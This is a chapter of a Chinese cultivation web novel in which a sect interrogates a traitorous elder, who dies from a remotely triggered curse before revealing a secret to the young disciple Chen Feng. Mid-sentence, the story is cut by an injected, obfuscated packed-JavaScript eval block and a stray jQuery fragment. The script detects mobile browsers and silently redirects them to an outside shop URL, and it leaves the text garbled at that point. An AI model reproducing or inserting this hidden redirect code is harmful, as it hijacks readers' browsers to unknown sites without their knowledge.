青云宗,审讯密室。
这是一间位于宗门刑罚堂地下的石室,四壁刻满了禁制符文,淡金色的光芒在石壁上一明一暗地流转,将整间密室笼罩在一层肃杀的氛围中。
密室中央,六长老周远山盘膝坐在一方石台上。
他的双手被锁灵链束缚,灵力被压制到了极致。但他的脊背挺得笔直,双目微闭,面容平静得不像一个阶下之囚,倒像是在闭关修炼。
宗主李清玄坐在审讯台后,面色凝重。
左侧坐着青云子,老道士今日难得没有饮酒,目光锐利地盯着周远山。右侧是执法长老孙伯远,他面色铁青,双拳紧握——六长老叛宗,对执法堂而言是奇耻大辱。
"周远山。"李清玄开口,声音在石室中回荡,"你可知罪?"
周远山缓缓睁开双眼。
他的目光平静如水,既没有惶恐,也没有愤恨,只是淡淡地看了一眼李清玄,然后微微摇了摇头。
"弟子不知。"
执法长老孙伯远猛地一拍石案:"不知?!影门的暗子,潜伏宗门三十余年,勾结邪修、泄露宗门机密、暗中破坏护宗大阵——你不知罪?!"
周远山转头看向孙伯远,嘴角竟微微上翘。
"孙师兄,你说的这些,我确实不知道。"
"你——!"
李清玄抬手制止了孙伯远,目光深沉地注视周远山:"远山,你入门比我早三十年。我敬你一声师兄。我给你一个机会——如实交代,你在影门中是什么身份?影门在宗门中还有多少暗子?他们的最终目的是什么?"
周远山沉默了片刻。
然后他说了一句让所有人都意想不到的话:
"宗主,有些真相,知道得越早,死得越快。"
石室中的空气仿佛凝固了一瞬。
青云子眯起了眼睛,浑浊的老眼中闪过一道精光:"老六,你这话什么意思?"
周远山看向青云子,目光中竟带着一丝……怜悯?
"青云师叔,您是宗门中最年长的太上长老,有些事情的真相,您比任何人都清楚。不是吗?"
青云子的瞳孔猛地一缩。
李清玄敏锐地捕捉到了这个变化,目光在青云子和周远山之间来回扫视。
"青云师叔,您——"
"老夫不清楚。"青云子打断了他,声音低沉,"但我知道,老六今天说的话,不像是一个叛徒该说的。"
审讯陷入了僵局。
周远山不再开口,重新闭上了眼睛。无论李清玄如何追问,他都像入定了一般,纹丝不动。
……
一个时辰后,辰风来到了刑罚堂。
他是被青云子秘密召来的。
"师尊。"辰风在刑罚堂后院的一间偏房中见到了青云子。
老道士坐在窗边,手中难得没有酒壶,而是捏着一枚棋子,对着窗外的棋盘自己跟自己下棋。
"坐。"
辰风坐下。
"六长老的事,你都知道了?"青云子落下一子,语气平淡。
"弟子知道。"辰风点头,"但弟子觉得……六长老不对劲。"
"哦?"青云子抬眼看了他一下,"哪里不对劲?"
"他被捕时太镇定了。"辰风皱眉,"一个在宗门潜伏三十年的暗子,暴露后不应该是那个反应。他不像是在害怕,也不像是在懊恼——他像是在……等待。"
青云子嘴角微扬:"继续。"
"而且,他看到我的时候,眼神很奇怪。"辰风回忆着当时的场景,"不是敌意,也不是警惕——更像是在……审视?好像在确认我是不是他要找的人。"
青云子放下棋子,站起身来。
"走吧,带你去见见他。"
……
审讯密室。
辰风跟随青云子走入石室时,周远山正闭目养神。听到脚步声,他睁开双眼,目光第一时间落在了辰风身上。
那目光果然如辰风描述的那样——审视、探究,还带着一丝难以言说的复杂情绪。
"辰风,青云宗内门弟子,凝气境中期。"青云子在一旁介绍,"万兽山脉一战,他发现了影门的据点。你被捕时,他也在场。"
周远山静静地看着辰风,突然问了一个出人意料的问题:
"你今年多大了?"
辰风一愣:"十七。"
"十七……"周远山低声重复,眼中闪过一丝恍惚,"十七岁的凝气境……果然是他辰家的血脉。"
辰风的心猛地一跳。
他听出了这句话中的含义——六长老知道他的身世。
"六长老认识我?"
周远山没有直接回答,而是转头看向青云子:"青云师叔,我有几句话想单独和这个孩子说。"
"不行。"李清玄不知何时出现在了门口,面色冷峻,"他是嫌疑犯,没有资格提条件。"
周远山淡淡一笑:"宗主,我如今阶下之囚,还能翻出什么浪来?不过是几句长辈对晚辈的闲话罢了。"
李清玄沉默不语。
青云子在一旁开口:"宗主,让这孩子听听也无妨。老六若是想耍什么花样,老夫第一个不答应。"
李清玄看了看青云子,又看了看周远山,最终点了点头:"一盏茶的时间。"
青云子和李清玄退出了石室,厚重的石门在辰风身后缓缓关闭。
石室中只剩下辰风和周远山两人。
沉默了片刻,周远山先开了口。
"你长得像你爷爷。"他的声音忽然变得柔和,"尤其是眉眼之间——辰苍生的风采,整个
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17897800|212865||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
东域修真界无人不知。"
辰风浑身一震。
"你……你认识我爷爷?"
周远山闭上眼睛,似乎在回忆很久远的事情。
"岂止认识。"他轻声说,"三十年前,我曾是辰家的客卿。"
辰风的大脑飞速运转。六长老周远山,三十年前入门青云宗——如果他说的是真的,那他入门之前,竟然与辰家有渊源!
"可是……影门……"
"你想知道真相?"周远山睁开眼,目光灼灼地看着辰风,"那就记住我接下来说的话——"
他压低了声音:
"影门之中,并非人人都是恶徒。有些人加入影门,是因为——"
石室外的禁制突然发出刺耳的嗡鸣!
周远山的话戛然而止。
他面色骤变,猛地看向石门方向,眼中第一次出现了慌乱之色。
"来不及了……"他低声说,然后突然提高了声音,"辰风!记住——太虚镜!去找太虚——"
话未说完,一道无形的力量突然涌入石室。周远山的声音戛然而止,双眼翻白,整个人直挺挺地向后倒去。
辰风大惊失色,猛地扑上前去。
周远山的口中溢出一缕黑色的血丝,面色在几个呼吸之间变得灰败。
"不——!"
辰风运转混沌灵气,拼命地输入周远山体内,但那股黑色的力量像是贪婪的蛇虫,将他的灵气吞噬殆尽。
石门轰然洞开。
李清玄和青云子冲了进来。
青云子一把扣住周远山的脉门,面色瞬间变得惨白。
"灭魂咒。"他的声音嘶哑,"有人在宗门之外远程激发了他体内的灭魂咒——这是影门的禁术,一旦触发,神魂俱灭。"
辰风跪在石台前,双手还在颤抖。
就差那么一点。就差那么一点,他就能知道真相了。
"太虚镜……"他喃喃着周远山最后的话,目光渐渐变得坚定。
青云子看着他,老脸上的皱纹更深了。
"你听到了他说什么?"
"太虚镜。"辰风站起身,目光直视青云子,"师尊,太虚镜是什么?"
青云子沉默了很久。
然后他叹了口气,转身看向李清玄。
两位老人的目光交汇,似乎达成了某种默契。
"宗主,"青云子说,"是时候让他看看地下了。"
李清玄闭了闭眼,缓缓点头。
他转向辰风,声音低沉:"辰风,跟我来。有些事——你确实该知道了。"
石室外,夜色已深。
青云宗的上空,一轮残月被乌云遮住了半边,投下淡淡的暗影。
在这暗影之中,似乎有一双无形的眼睛,正在注视着一切。